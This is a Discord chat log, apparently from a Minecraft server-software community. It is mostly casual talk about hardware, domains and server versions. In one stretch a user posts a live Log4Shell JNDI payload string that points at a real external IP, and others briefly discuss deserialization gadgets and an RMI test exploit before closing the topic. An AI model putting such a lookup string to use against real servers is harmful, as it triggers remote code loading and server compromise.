general

[warm anchor]

[worn ember]

[pastel reef]

I was tinkering on a 13 year old MacBook with an Intel Core Duo P8600 with an NVIDIA 9800M and after five days I got it to run at 40fps with 9 Chunks.

[worn ember]

i mean i could get 60fps on 8 year old hardware at the time (like 5-6 years ago)

so yeah its possible

but idk

might not be the best experience

[warm anchor]

I mean if you use fabric with entire periodic table installed you may be able to pls get

As client

[pastel reef]

What performance can I expect if I squeeze 4 of these into one?

[vernal moth]

Iirc you set a volume but ye, that can be large, godots SDF GI is really cool

[pastel reef]

Intel Core Duo E7500

[vernal moth]

They playing in the big guys league with that

[magic river]

The big guys on mobile maybe 😛

Did you see the thing I linked?

[vernal moth]

People did comparison scenes to lumen and it's much better on non high end hardware

[magic river]

Apparently 10 years ago a similar algorithm was used for GI in Vray

[vernal moth]

Not only mobile, not everybody has a 3070 to run lumen

[magic river]

You know, like for movies and stuff

[worn ember]

especially if you're team red

[vernal moth]

Yeah really cool to see the old render tech being used for real time now

[magic river]

I mean, their setup still requires a 1060 in probably somewhat ideal conditions to run at 60 fps

[worn ember]

i member when you needed 3cd's to install games, today you'd need like 15 lol

[magic river]

So it's not that much of a stretch to say 2060 instead and use the EA one

[vernal moth]

A 1060 is what? 5 years old at this point?

[meager tusk]

Are we talking about GPUs?

Remember when you could buy GPUs?

[vernal moth]

No we talking about renderers

[ebon jewel]

Hello

[worn ember]

remember when idriz wasnt here?

[golden gust]

god

those where the days

[meager tusk]

No.

[void void]

bro! has kin appealed yet?

[lavish compass]

@twin lagoon BRO!

[meager tusk]

He's a little stubborn.

[twin lagoon]

🥺

[meager tusk]

List of people I love:
@twin lagoon
@lavish compass
@Proximyst

Wtf where is Proxi

[twin lagoon]

Proxi is gone

[meager tusk]

Why???

They got Proxi too :(

Just like Kin.

[void void]

Proxi quit mc dev :(

[meager tusk]

Oh.

Good for her. That's based.

[worn ember]

One does never truly leave

[meager tusk]

Right?

You think you're going to leave and then you just get sucked back in.

[lavish compass]

Once upon a time, Steve put his hand in a jar

that jar was named Minecraft.jar

Three days after exploring the jar with his hand,

[warm anchor]

Can we have a @ based role

So I can ping daily

[twin lagoon]

shut it weeb

[lavish compass]

He is never able withdraw his hand ever again

[meager tusk]

Can we have a @Muted role for EterNity

[void void]

"@best"

[warm anchor]

Michale typing

[worn ember]

im still confused why alex is in the game

[warm anchor]

Ask Microsoft @worn ember

It’s added after them I think

Minecraft was genderless

[vernal moth]

Z, proxi, simple, should I continue counting?

[meager tusk]

Based.

[void void]

Alex is modeled after jeb iirc

[meager tusk]

SIMPLE IS GONE?

[worn ember]

sorry i mean relevant people

[meager tusk]

NOO

[worn ember]

jkjk

[vernal moth]

Lol you didn't even notice?

[meager tusk]

why did simple leave?

[warm anchor]

I mean Minecraft animal mate with no regard of gender alresdy it’s kids game @meager tusk lol

[meager tusk]

he was here a few days ago :(

[void void]

weeks*

[worn ember]

omg animals have SEKS!!

[lavish compass]

quit smoking, but it's minecraft dev

[meager tusk]

Has it been that long since I checked paper general?

Wtf

[warm anchor]

You can still find simple on other server

[meager tusk]

Ok

Didn't ask weeb

[meager tusk]

Based

[warm anchor]

Simple still in my weeb server. What now

[vernal moth]

^

[meager tusk]

I am schizophrenic

[warm anchor]

We know

[void void]

who isn't

[worn ember]

its balcan not balcant amirite

[warm anchor]

[worn ember]

well except its with a k i think but close enough

[waxen panther]

she told me it was "Noahs" fault

[warm anchor]

Shhh brocco we are supposed to keep that a secret

[worn ember]

never heard of this noah guy

[warm anchor]

Leaker

[void void]

😭

[meager tusk]

Brocco you weren't supposed to snitch

[magic river]

lol the only mutuals I have with simple are weeb servers

[waxen panther]

i could only resist so long

amaranth my server is NOT a weeb server

[meager tusk]

mine is a programming server lol

[twin lagoon]

[magic river]

I'm only on those servers for the weeb emotes

[meager tusk]

Michael is the best person ever.

[twin lagoon]

true

[magic river]

[twin lagoon]

[void void]

is that not what etern's server is for?

[foggy silo]

👀

[void void]

@warm anchor oh yeah ended up getting commissions from lax

thanks for the referral

[warm anchor]

Is he still alive

[twin lagoon]

w e e b s

@static badge thoughts

[warm anchor]

[warm anchor]

[void void]

[warm anchor]

Oh that one is cute

When did you do it

[static badge]

https://cdn.discordapp.com/attachments/876902758366736457/898822874788409394/893715744368492584.gif

[magic river]

[foggy silo]

Thank you leaf

[warm anchor]

I thought fbi got him @void void he hasn’t talk for 2 days

[magic river]

[void void]

last month

[warm anchor]

[void void]

maybe fbi did get him

[warm anchor]

Or Covid

That fucker got Covid 3 times so far

[void void]

oh boy

[warm anchor]

Need to spam more @void void it’s cute

[void void]

only did those 2 so far lol

[rare python]

My cat, watching fish on my second monitor.

[meager tusk]

Based.

[warm anchor]

It’s only time before he decides to kill it

[rare python]

Hes walked off now.

[warm anchor]

If won’t end well for your monitor

[twin lagoon]

send more cat pictures

[rare python]

Same cat, but sometime just after we got him.

[twin lagoon]

[worn ember]

[void void]

adorable kitties role when™️

[raven basin]

is there a way to do command redirects in paper/spigot

[twin lagoon]

commands.yml

[raven basin]

ok

thx

[upbeat falcon]

Commands.yml - Official BukkitWiki

https://bukkit.fandom.com/wiki/Commands.yml

commands.yml is a configuration file that houses custom defined aliases and command block overrides for your CraftBukkit server. The command block override ...

Requested by Amaranth - About 153,000 results (0.36 seconds)

[meager tusk]

I miss Bukkit.

[unkempt drift]

tab completions wont work with aliases until... https://github.com/PaperMC/Paper/pull/7387

[magic river]

Listen, I designed the thing before that existed

That's on you guys

[rare python]

I have another one but I am trying to figure out how to get my phone to remove location data from the image...

[magic river]

Oh it's an MM PR

[void void]

discord strips location data im pretty sure

[unkempt drift]

I just made it work with the simpliest of aliases, the one that end in $1-

[rare python]

Not taking the chance lol.

[unkempt drift]

cause tab completions beyond that are.... not really viable I think

[void void]

it does

[twin lagoon]

@restive thicket BEST camotoy

[restive thicket]

yoooooo

thank

[foggy silo]

[crystal lily]

downloads page, scroll down, click legacy.

[warm anchor]

[void void]

L(egacy)

[worn ember]

should probably mention the filling in of the form in that command

since it seems unreasonably hard to figure that out for some people lol

[mighty wind]

Ginger (he's a boy)

[coral citrus]

hi eveyone 😄

o_o

[worn ember]

Cat

[lunar lintel]

are the devs gonna patch llepsc or is it not a high priority patch

[sage vessel]

What is llepsc

[lunar lintel]

lazy loaded enderpearl stasis chambers

from what i was told:
-someone reported the bug over a month ago
-paper devs saw it
-paper devs wrote the patch
-paper devs never implemented the patch yet

[magic river]

Something that only matters for PVP, it seems

[lunar lintel]

was wondering if it was a low priority patch and if/when they would implement it

[magic river]

Put ender pearl in block of honey, get teleported later

Oh, and it only works if someone is within simulation-distance of your little setup

And either that person needs to trigger it or you need some kind of timer to delay it

It can also work even after you died so long as no one was within simulation-distance of your setup when that happened

[lunar lintel]

1. you can have a perm llepsc using chunkloaders which makes the uepsc patch completely useless
2. you have no idea the many more uses for it other than pvp, it has basically every use that an uepsc has but works on all servers

[magic river]

A paper dev didn't write a patch for it, a random person submitted a PR

I don't know what uepsc is either

[lunar lintel]

llepsc=lazy loaded ender pearl stasis chamber
uepsc=unloaded ender pearl stasis chamber

[magic river]

What use for it would even matter other than PVP?

Also I think Paper might be more interested in knowing about chunk loaders that work

[warm anchor]

If disable-unloaded-chunk-enderpearl-exploit doesnt work, I will suggest using fabric/vanilla if you want those weird exploit.

[magic river]

They aren't trying to turn it back on, they're wanting a similar exploit fixed

btw the PR that was supposed to fix it seems really bad and I don't think actually fixes it

[warm anchor]

oh I see

[magic river]

Well, I guess it might but only if you like a memory leak and for your server to get slower every time someone throws a pearl

[lunar lintel]

the problem is this:
-lazy chunks arent technically unloaded so they cant despawn
-lazy chunks arent ticked like regular chunks so it doesnt tell the pearl that a player died, therefore it wont despawn on death
this makes it now possible to have a forever lasting pearl

[warm anchor]

[lunar lintel]

i say that like it hasnt been public for over a month

lmao

[foggy silo]

Yea uh the pr that is currently up for fixing it is… questionable to say the least.

[warm anchor]

That sounds so cursed no wonder no one wanna look deeper

[magic river]

Add to a list but never remove from it, iterate that list every time every pearl ticks

[foggy silo]

Yea….

[magic river]

That will both not catch every instance of the exploit and kill your server

Fucking win

[golden gust]

should be able to use the stop tracking stuff, I think

[magic river]

Delete the owner when you leave simulation distance?

Is there something called when a chunk loses ticking status?

[golden gust]

yup

there is a method called when the chunk status changes

[lunar lintel]

i have no idea how to patch stuff in terms of development but the most logical patch in my opinion is to make it consider lazy chunks as unloaded chunks? or if pearls leave loaded chunks they despawn regardless if its lazy or not?

[magic river]

Grab up the entities in there and delete the owner of all the pearls

[lunar lintel]

that too

[tall flame]

How so seever owners make their ip like play.servername

[golden gust]

they buy a domain naim

[tall flame]

Is there a free domain

[golden gust]

there are some free ones but gotta see the TOS

.tk is a common one but you need a website on the domain or they'll reclaim it, for example

[magic river]

play.servername is like $20000 a year and you have to run a domain registry and DNS servers and such

play.servername.com is like $10 a year

[lunar lintel]

lmao

never thought literal .com is cheaper than no .com

.com is the most expensive one is it not?

[golden gust]

No

[lunar lintel]

hmm

[golden gust]

quick scan on googles price table, most expensive I see is 60 a month

[magic river]

Oh, I was wrong, play.servername costs $185,000 up front, you might not get it anyway, and you had to do it in 2012

Plus all that other stuff I said about it too

[golden gust]

that's just to be considered

gotta prove that you can run the infra for such a TLD too

i.e. you've been acting as a registrar for years, type stuff I'd imagine

[magic river]

Is Google the only one that got a vanity one?

[brave mountain]

For a small server velocity or waterfall?

[golden gust]

velocity

I think a few people got some vanities

I just had to google it, apparently BMW got one

sky, barkleycard, cern, etc

[brave mountain]

Grate, thank you.

[golden gust]

https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains#Brand_top-level_domains

[magic river]

I guess cern counts

[golden gust]

mfw fucking AOL

[magic river]

I didn't know sky owned .sky, thought it was a generic thing

Wow there are a lot of those

[golden gust]

MS, ofc

BBC putting our 'tax' dollars to good use

[magic river]

Imagine paying $185,000 up front plus maintenance fees for something you never use

I only ever see Google using theirs

Everyone else is just microsoft.com and such

Then again I guess Google only uses theirs for non-business or internal stuff

https://mail.google doesn't work (at least not publicly) but https://blog.google does

[golden gust]

.java

https://com.google - I thing that used to work

[magic river]

When they first got it, yeah, for a joke

iirc everything was mirrored

How many of the companies with vanity gTLDs are out of business now?

I think Amazon uses .aws within AWS

[merry talon]

wtf is the purpose of this no longer working

[merry talon]

I see them use aka.ms - their url shortener - a lot

[ripe sphinx]

they also have redsto.ne or something for their MC stuff

[warm anchor]

.paper when

[magic river]

.ms and .ne are ccTLDs, not gTLDs

They're for countries

.ms is Montserrat and .ne is Niger

[lunar lintel]

monopolys are great

[warm anchor]

if you have a few cool millions you can throw it at them and get a .branbert TLD @lunar lintel 😉

[proper pendant]

Hello, could you tell me where I can download papermc 1.16.5?

[ripe sphinx]

https://papermc.io/legacy

[pastel reef]

Does every Intel processor without an F at the end have integrated graphics?

[void void]

hi

[pastel reef]

What do you even need that for?

[viscid wedge]

https://dns.google/

[void void]

you can get a custom tld for 185k?

thats so cheap

[boreal cradle]

How do people working on plugins form groups

[ripe sphinx]

wdym groups

[boreal cradle]

Multiple people working on a project

[warm anchor]

have some sort of version control? GH is free

[boreal cradle]

Like what motivates people to join you and stay working on something

or how do i say it, how do projects like paper eventually have many developers maintaining and interested in them

[warm anchor]

If you get some good shit going, people will naturally come together.

[glass python]

Hi

[neat oyster]

hi

[peak ginkgo]

Correct, here's a reference:

F - No Integrated Graphics
H - High Performance Graphics
K - Unlocked (for Overclocking)
T - Power-optimized Lifestyle
U - Ultra-Low Power
X - Extreme Performance and Mega-Tasking, Unlocked
Y - Extremely Low Power

[magic river]

I think Y got folded in to U for Alder Lake and P is being used for midrange mobile now

It used to be used for something on desktop, I think what F is now?

[ripe sphinx]

Huh that explains a lot, all my prior CPUs were U, guess that's why they performed like crap

[magic river]

All your prior CPUs were in 13" ultrabooks?

[ripe sphinx]

2 laptops, both lower-medium end. My new laptop has a r7 5800H

[peak ginkgo]

Should be running like 100x better in comparison

[magic river]

Oh they actually dropped the H, U, Y stuff for Ice Lake and Tiger Lake too

They brought it back for Alder Lake but it's H, P, U now

[peak ginkgo]

intel names are weird

[magic river]

I thought the Ice Lake ones made more sense

i3, i5, or i7 for the CPU tier then some number that didn't really mean anything and then G1, G4, or G7 for the GPU tier

Oh nevermind, they still had H as a separate thing from that system, it just didn't exist for Ice Lake

[peak ginkgo]

then some number that didn't really mean anything

the bigger the better 💯

[magic river]

U and Y basically transformed in to that new scheme but they slipped a couple 28W ones in there too

Holy cow the 5800H is a 45W part

You went from 9-15W to 45W, did you get a 17" gaming laptop or something?

I guess they do squeeze those in to some 14" gaming laptops too but they're even more expensive

[ripe sphinx]

This is a 15" iirc, but yeah I have a chonker of a power brick

230W

[neat oyster]

should i get 16gb vserver or 24gb root server ?

if i get 24 gb im planning to host a second mc server there

[ripe sphinx]

If this is for MC, depends on the CPU

I'm assuming vserver is a VPS & root server is a dedi?

[neat oyster]

v server is a vps

but root is not exactly a dedi

[ripe sphinx]

hmm ok, well regardless if you intend on using this for MC, the CPU is a major piece.

[lunar lintel]

also if lazy loaded enderpearls arent worth a version downgrade then i have something that prob should get patched in older versions

[neat oyster]

ye that vps is 6 cores

[magic river]

Do you mean you get to use it but someone else has stuff running too, just no VMs or containers

[neat oyster]

yes only for minecraft

[magic river]

I believe the terminology is dedicated, vps, or shared

So that's a shared host

[ripe sphinx]

Ok so that tells me that the VPS likely has a slow, wide CPU (aka many slow cores), which MC doesn't like

[magic river]

That's the worst of the three, generally

[neat oyster]

root server has dedicated cpu

[lunar lintel]

#402 should be added to 1.16.5

[ripe sphinx]

Yeah in general VPSs and MC don't mix, unless you use a VPS provider targeting gaming i.e. bloom

[magic river]

Not a chance

[neat oyster]

but vps doesnt basically thats the difference

[magic river]

1.16.5 is legacy

Add it yourself 🙂

[lunar lintel]

did they stop updating it?

[ripe sphinx]

yeah 1.16.5 was EOLed in october

[lunar lintel]

you said that you were wrong about that

[ripe sphinx]

No I was confused about which version we were talking about

[warm anchor]

1.16 should NOT be used as there's unpatched security issue

[ripe sphinx]

1.16.5 was for sure EOLed in october

[warm anchor]

that's why its taken off download site and only accesiable via API

[magic river]

What is 402, anyway?

[warm anchor]

its just latest log4j stuff

[lunar lintel]

no

[magic river]

Oh, you mean 1.17.1 build 402

[lunar lintel]

402 is a patch for an exploit that deletes region files

[magic river]

1.17.1 is only kind of still a thing, should be glad it got fixed there 😛

[lunar lintel]

the exploit was made in 1.17 ofc its fixed there

[warm anchor]

yeah that's probably not happening then

[lunar lintel]

ye prob

[magic river]

If you reported that bug today there is a chance it would just be ignored

1.17.1 hasn't had any work done to it in a few weeks and 1.18.1 is looking pretty stable

[lunar lintel]

it was reported and patched a while ago

[magic river]

I know, I'm just saying

Actually that might be the only kind of bug that would still get fixed in 1.17.1 since it's dataloss

[lunar lintel]

but if 1.16.5 isnt a good version because of log4j then thats fine i respect that if they choose not to do anything to it

[magic river]

1.16.5 has the log4j stuff

[warm anchor]

even without the log4j, 1.17 is better than 1.16 in almost every way

[magic river]

To be honest I'm surprised Paper keeps supporting older versions as long as they do

We kind of did until the first RB but not really, all our time was spent on getting to that RB

After that it was just dropped

[warm anchor]

I mean all the log4j patch is mostly done by 1 person

for older version

[magic river]

That was an exceptional situation, I wouldn't have done it but I can understand it

I'm talking about 1.17.1 not being on the legacy page and getting random bugfixes

Only 1 in the past month that wasn't an exploit fix but still

[warm anchor]

soon probably and hopefully! 1.18 only!

[lunar lintel]

i never said anything about 1.16.5

nope

never

[magic river]

[crimson flint]

i go sit and talk to desi every chance i get

i be shooting for the stars but theres a chance that ill miss

there were some nights i had it hard id close my eyes and id wish

[rare python]

Ban

[crimson flint]

i lit the blunt up and let my feelings out

[rare python]

#paper-help

Also

Cat

[neat oyster]

[dawn pond]

hi zaddy

[void void]

discord

[rain solstice]

Hello there. I need some help with the spigot restart.sh on Linux.
I don't have enough knowledge to completely create my own script and the versions from various forums do nothing. I quit understand what's the problem, so a little instruction could also help. By the way tips or other versions of the start.sh are very welcome! 😄
Do someone has experience, with the "restart on crash"? Does it work, when the server is crashing? I don't tested it out...
Thanks for helping me!

[untold meadow]

there's a pinned post in #paper-help for you

[rain solstice]

Yeeep. I noticed it, but when I try to start (bash or sh) the restart.sh file, I get a line error. No it's 72 instead of 55. 😦

No other errors are appearing and bash is on version 5.0+

[untold meadow]

nobody is gonna be able to magically help you with errors if you dont show what the error is

[twin lagoon]

https://github.com/postgres-ai/database-lab-engine interesting

[dawn pond]

seems difficult and time consuming im good :)

[twin lagoon]

do you even know what it's for

[dawn pond]

nop mind explaining?

[swift root]

cloning databases!

which can be pretty time consuming and painful, considering that databases are something that a lot of people may want to clone to set up testing environments with actual data

[untold meadow]

can we clone michael yet

[twin lagoon]

TRUE

@lavish compass

[lavish compass]

@twin lagoon

[warm anchor]

I have a serious question

If we combine @lavish compass @twin lagoon , will the end result be more weeb or less weeb

[dawn pond]

More

[twin lagoon]

i am not a weeb

[dawn pond]

says the weeb

I bought a java / plugin coding course cause i like to torture myself

yk

[twin lagoon]

which

[dawn pond]

I fi say it would be server advertising

[twin lagoon]

which

[dawn pond]

add

[twin lagoon]

look does it start with mine and end with academy

[warm anchor]

I hope the name doesn’t start with kan

[dawn pond]

no

[twin lagoon]

okay in that case i don't care

[dawn pond]

its called LearnSpigot

[warm anchor]

[dawn pond]

very misleading name

[warm anchor]

I hope you can refund it

[dawn pond]

although it teaches java coding

[twin lagoon]

"optional"

[warm anchor]

[dawn pond]

ewhh i bought it on 50 percent off

[dawn pond]

thats java language

[warm anchor]

I wouldn’t buy it for 90% off

But you do you

[dawn pond]

like if you know java language u dont need the java basics

wdym

have u guys tried it before?

what are u not telling me

[warm anchor]

[dawn pond]

why?

u cant SAY THIS TO ME THEN LEAVE

AHHHHHHHHHHHHHHHHHHHHHHH

[ashen cliff]

https://www.phoronix.com/scan.php?page=news_item&px=NVIDIA-Reports-No-Arm

Good.

🛌

[vernal moth]

the OK made this about national security bullshit

when softbank already is a non european company...

UK is weird man

weird flex but my company did send me popcorn and nachos?

[dawn pond]

ooo

[vernal moth]

the "oscar" is filled with the lint chocolate infront

[pastel reef]

Are twelfth gen i3 good?

Or should I stick to i5?

[twin lagoon]

ryzen

[dawn pond]

thats sexy

[ashen cliff]

If you get a motherboard with a clock gen, yeah.

[pastel reef]

Are there quad socket motherboards?

[ashen cliff]

Yeah, but not for normal CPUs.

[pastel reef]

For what?

[ashen cliff]

Xeons.

Those go up to 8S8 currently.

[pastel reef]

What if I just use two Motherboards?

[ashen cliff]

You mean two separate computers?

[pastel reef]

Nope, same computer

I thought I saw Linus do that once.

[dawn pond]

@pastel reef

[ashen cliff]

Best he did was put 2 computers in the same case.

[pastel reef]

Oh

[ashen cliff]

The real question is, what is your end goal?

[pastel reef]

A good Computer for Minecraft

[twin lagoon]

[pastel reef]

And watching movies

[ashen cliff]

So single thread performance.

And NoVidea GPU.

[pastel reef]

Even for a client?

[ashen cliff]

Yeah.

[pastel reef]

Ah, OK

[ashen cliff]

Anyway. Get a 1kW chiller with that, do sub zero liquid cooling to hit that 5.5Ghz all cores.

Since apparently, you have plenty of money left over.

[pastel reef]

When I searched up best dual core cpu, I got AMD Athlon 64 x2 6000

[twin lagoon]

in the year 2008, maybe

[ashen cliff]

Fastest dual core would be the 7350k.

[pastel reef]

i9, i7 or i5?

[ashen cliff]

i3.

[pastel reef]

So that's the i3-7350K is the fastest dual core performance? Sounds pretty slow to me.

[ashen cliff]

It's probably faster than your current CPU in single thread performance.

¯_(ツ)_/¯

[twin lagoon]

juuuust get yourself some 5600x

[rare tiger]

minecraft bad when no thread, good when thread

introducing my revolutionary python nms impl

[worn crest]

i9 7900 ❤️

[lavish compass]

@warm anchor you're the weeb here

[twin lagoon]

@lavish compass

[lavish compass]

best michael .

[twin lagoon]

WHEN

[neat oyster]

i keep accidenly calling people on discord by missclick

there should be are u sure? pop up

[lavish compass]

do you think discord adds useful features?

[twin lagoon]

yes

[lavish compass]

they were supposed to add a friend link feature, and somehow it was dumped

[neat oyster]

wow dumping good features

[void void]

@quasi valley I'm dead... 😆

His Spigot fork is NachoSpigot for money

outdated*

[twin lagoon]

@quasi valley

[rare python]

lol what

[wind geyser]

I do the same thing. I click on a profile and it lags and then I accidentally call the user.

[neat oyster]

and then the user thinks im a weirdo or creep and blocks me

[wind geyser]

Probably just ipad things

[neat oyster]

M I C R O S O F T

[smoky cloud]

https://tenor.com/view/steve-ballmer-yes-microsoft-gif-4349581

[ashen cliff]

Ayy Vulkan 1.3 is now official.

Intel and AyyMD already support it.

[rare python]

cool

[granite slate]

Guys, does anyone know why the default input stream isn't halting the thread to wait for user input?

[rare tiger]

InputStream that takes in user input? Do you mean a Reader or Scanner?

I don't think System.in for example extends InputStream, it's a PrintStream

But I guess if it does then in.next() should halt the thread

Doubly so if you're talking about paper

Since chat messages have nothing to do with streams

[granite slate]

Nah, It was a general java question

Systsem.in it's an InputStream

[golden gust]

Input streams are either blocking or they're not

[granite slate]

Yeah I know. Indeed System.in should be blocking

But it halts the thread only after I try to read 2 times sequentially

Found the problem. I need to call nextLine

instead of next (System.in is wrapped inside a scanner)

XD

[pastel reef]

Can someone please explain to me why computers are so scared of their cpus overheating? I never really understood why it can be bad.

Are hot substances less conductive or is it something else?

[wide chasm]

If they get too hot they could catch fire. Most cpus will have protections for this built in, but it could happen if they didn't.

[ashen cliff]

Why are humans scared of overheating?

[waxen panther]

lol

[neat oyster]

they die

[ashen cliff]

Exactly.

[neat oyster]

i died once before

[waxen panther]

why are you scared of burning alive, your brian less thinky or is it something else?

[neat oyster]

bcz of cat im now used to turn off reply pings

[snow anvil]

I came here yesterday and did not get the vibe that this server has 11k people

[twin lagoon]

lot of people just come here for the occassional support or stay here for updates #announcements

[void void]

11k?

wasn't it 30?

discord.gg/papermc

[rare python]

can confirm, although I am somewhat active in here now.

[waxen panther]

wow noah you're so smart 😀

[void void]

thank you broc

[golden gust]

noah

remembers a number

"ur smrt"

broc

I mean

if that's what broc looks up to, idk what to say

[waxen panther]

(it was my intention to imply that noah is being a smart guy and that 🤣 😂 no one cares noah moment)

[twin lagoon]

@waxen panther

[waxen panther]

i look up to z750 only

[waxen panther]

[twin lagoon]

[golden gust]

(it was my intention to imply that broc is a dum ass hoe)

[waxen panther]

no need to imply that bb

[void void]

(it is my intention to agree with cat)

[rare python]

imagine remembering a number

what year is it again?

[golden gust]

yea, i guess it was more just a tactful reminder in the middle of the book to ensure that it doesn't impede the storyline

[neat oyster]

this is the emoji of investigation

[rare tiger]

actually if it gets too hot it will melt into the terminator blob and bring about the destruction of humanity

idk what they're talking about

[lavish compass]

@twin lagoon @waxen panther

[waxen panther]

best cubxity

[twin lagoon]

[vernal moth]

wow free cash!

ill redeem

!ban @quiet kindle scam

[thorny flicker]

:raised_hands: Banned Slavfucious#9223 (scam) [1 total infraction] -- MiniDigger#3086.

[worn ember]

damn i was too late 😦

no free nitro

[rare python]

gimme nitro lol

[worn ember]

https://youtu.be/wqxnJQcQXss vulcano go brr

[plucky sparrow]

Don’t keep it all to yourself mini

[vernal moth]

wasn't free nitro

just free cash

sorry

[void void]

damn

mini getting greedy

:(

[vernal moth]

getting

assuming I wasn't always

[warm anchor]

Mini will never fall for that

Unless free beer is offered

[void void]

could someone figure out what ${jndi:ldap://185.233.105.120:1389/a} resolves to?

like the .class file(s) it downloads and runs

[vernal moth]

do you actually know how the exploit works? lmao

it doesnt download class files

[void void]

vaguely

[vernal moth]

its an object serialization issue

they all do the same anyways, try to ping the site back, so the site can put it into a DB of vulnerable sites for somebody to do actual attacks on

[golden gust]

^^

on the surface, it's just an object deserialisation thing

worse case you can take advantage of stuff on the classpath to escalate that

[vernal moth]

ye

[golden gust]

but, as said, biggest thing is that your backend does the request to their services

[lavish compass]

all my homies love bloated loggers

[golden gust]

joys of any software project of that scope

either you have the foresight to forbid any niche things in your project but then risk fragmentation, or, you take on these features in the quest that hopefully shit works fine

[vernal moth]

but you like 2 months late on this, please don't revive my trauma, I spend 2 weeks fighting this, trying to get my CISO to calm down

[golden gust]

maybe this is just yet another prod for oracle to get rid of their damned serialisation shit

[rare tiger]

Do you want me to DM you the source code of the injection exploit? 😈

cause I wont theres nothing beneficial that could come out of that

[vernal moth]

there are countless exploit chains public anyways

metaspoilt has it too, so do every other exploit framework on earth

[rare tiger]

I actually prefer underground garbage code copy-pasted 8 times from the original source

[void void]

no i want to know what spoopy code it runs

[lavish compass]

You could find the attack vector on day 0 by just doing simple search so yeah

[rare tiger]

player:sendLua("alias a a:a")

[void void]

?

[vernal moth]

what day was day 0? when paper published it? or when paper got aware? or when alibaba contacted log4j? or when alibaba found it?

[rare tiger]

(((joke)))

[void void]

when paper published it

[rare tiger]

day 0 was when the glowies found the blackhat's hard drive

[void void]

china malding so hard they couldnt use it for spying

[fleet blade]

day 0 would have been the alibaba dev reporting it wouldnt it? as thats where the core exploit derived from?

[rare tiger]

xi jinping himself just sent a chat message on MY minecraft server!!!!

[void void]

look

${jndi:ldap://185.233.105.120:1389/a} becomes referenced class name: foo

after exploit

i want someone to send the class foo because i wanna see what this fermatsleep guy is doing

stealing tokens? botnet?

[vernal moth]

PLEASE

read about the ldap protocol

[fleet blade]

if you cant figure out how to obtain any of it, then I doubt you'd be able to figure out what hes doing.

[vernal moth]

java doesn't allow referencing arbitrary classes in modern jvms

so non of the exploits do that

[void void]

what is referenced class name: foo then

[golden gust]

We're not your reverse engineering buddies and we don't care to piss around for this

[void void]

We're not your reverse engineering buddies
😭

[fleet blade]

also from what ive seen from other people, the fermatsleep account changes the ldap server address often, so you'd have to spend ages tracking it down. just leave it be, everyone who cares has updated their servers.

[void void]

in an ideal world you just put the url into a site/command then it downloads a .class file that you can decompile and inspect

[fleet blade]

well welcome to our imperfect world

enjoy your stay

[void void]

or it retruns another url which you can download class file from

IDK

for Java developers

[vernal moth]

notice how it says object

not class

THERE IS NO .class!

[void void]

serialized java object

[vernal moth]

is not a class

[void void]

okay but its byte code?

[vernal moth]

do you know how java serilization works?

[void void]

nope

[vernal moth]

then have fun learning that

[void void]

he said in the video its an object

[vernal moth]

yes

object != class

[void void]

gets a java object from url, omg put code in static block!

[vernal moth]

chances are the guy doesn't know how it works either

lol

[void void]

https://youtu.be/uyq8yxWO1ls?t=621

[neat oyster]

LMAO there is a guy with 2k members on his discord raiding competing smps

[vernal moth]

yeah the guy is clueless he only knows the highlevel stuff

[neat oyster]

when i ask him to stop and said discord is serious about raids he blocked and banned me

[void void]

https://youtu.be/7qoPDq41xhQ?t=1231
Log4jRCE.CLASS

^this is how i see it

ldap thingy sends to ldap server, ldap server says go here blah.com/classFIle.class

[vernal moth]

thats not using javaClassName

[golden gust]

Once again

the thing returns an OBJECT

Not a class

said object then is piped into the serialisation API and deserialised

Because, you know, that's how you deal with serialised data

On its own, that's literally all it does

[void void]

how is jam directly getting a .class file then

[golden gust]

You literally cannot RCE on a default java environment with just the java sdk and l4j

[vernal moth]

not entirely true cat

[golden gust]

Now, once again, as I literally already said, the RCE aspect relies on other stuff in the classpath to be vulnerable to acting as a vector for this

Well, you can, but, the vulnerabe components used in the past where fixed

[rare tiger]

Unless it's OOS, good luck

[golden gust]

So, i mean, unless somebody finds something new or you're on a stupidly old build, 🤷‍♂️

[vernal moth]

the ldap exploit is boring anyways

my RMI exploit was way more fun

[void void]

anyways, im getting offtopic, what code is fermat sleep running on people's servers?

[fleet blade]

ffs

[plucky sparrow]

what a time to be called dap

[rare tiger]

its abusing existing classes you MONKEY

[worn ember]

[void void]

what does that even mean

[golden gust]

L dap

[vernal moth]

this was my RMI exploit that I used to test stuff at work

https://i.imgur.com/VLOhB8q.png

[rare tiger]

WHAT ARE YOU

((an idiot sandwich))

[plucky sparrow]

Cat I would insult you but I remembered this is paper

[vernal moth]

it uses apaches bean factory as a gadget

but lets stop with the topic

[void void]

so java has a class called foo.class?

[vernal moth]

NOOOOOOOOOOOOOOOOO

[golden gust]

fucking

read

jesus fuck

[vernal moth]

foo.class doesn't exist

[golden gust]

are you literally taking fuck all on of what anybody is saying or are you intentionally being fucking dense?

[vernal moth]

" e.addAttribute("javaClassName", "foo");"

its aliteral placeholder

its unused

I can have my ldap server use " e.addAttribute("javaClassName", "AutokenIsStupid");" and the exploit still works

[void void]

so there is no code execution? they are just running a test?

[vernal moth]

just stop please

there is RCE

just not how you think it works

and if you don't know java serialization, you will not understand it

and this is borderline on discord rules anyways

so ill just decide that this is the end of this topic.

[void void]

okay one last thing tho

https://www.reddit.com/r/admincraft/comments/s85943/need_help_with_fermatsleep/

"I’m sorry, but that’s a successful log4j hack. The computer will need to be completely wiped clean. Patch your servers, people. Please."

this is misinformed?

[golden gust]

Who knows

Once again

it escaltes to a fucking RCE

[royal sphinx]

Friends , where can I download the newest version of Paper Spigot 1.12.2 ?

[golden gust]

Who knows what code that they ran on there

[crystal lily]

downloads page, scroll down, click legacy.

[void void]

spelled 1.18.1 wrong

[void void]

you could probaly see if you have the jdni url (i have the jdni url)

[golden gust]

and if they changed it since then, etc, etc, etc

who knows, if you think your stuff is at risk, do a clean install

otherwise, you've been told that that is the end of the convo

[vernal moth]

the scanners are literally just probing and coming back later with the real vector because they don't want it to be shared, this is how this always works...

[magic river]

Ridley Scott's latest movie (The Last Duel) was a box office bomb and he blamed it on millennials

[quasi valley]

Damn those millennials

[vernal moth]

fantasy, meh

[magic river]

I mean, we're probably the primary movie going audience at this point so he isn't wrong

[golden gust]

Literally never even heard of it

[magic river]

But his reasoning is that we were raised on cell phones

[golden gust]

and, what?

[magic river]

So he has us mixed up with zoomers, just like boomers always do

[golden gust]

lol

I mean, I straight up never even saw it was advertised

don't recall hearing of that guy existing either, so, it's not like it's somebody whom to me is worth following

[magic river]

I saw the trailer like twice

[golden gust]

where?

[vernal moth]

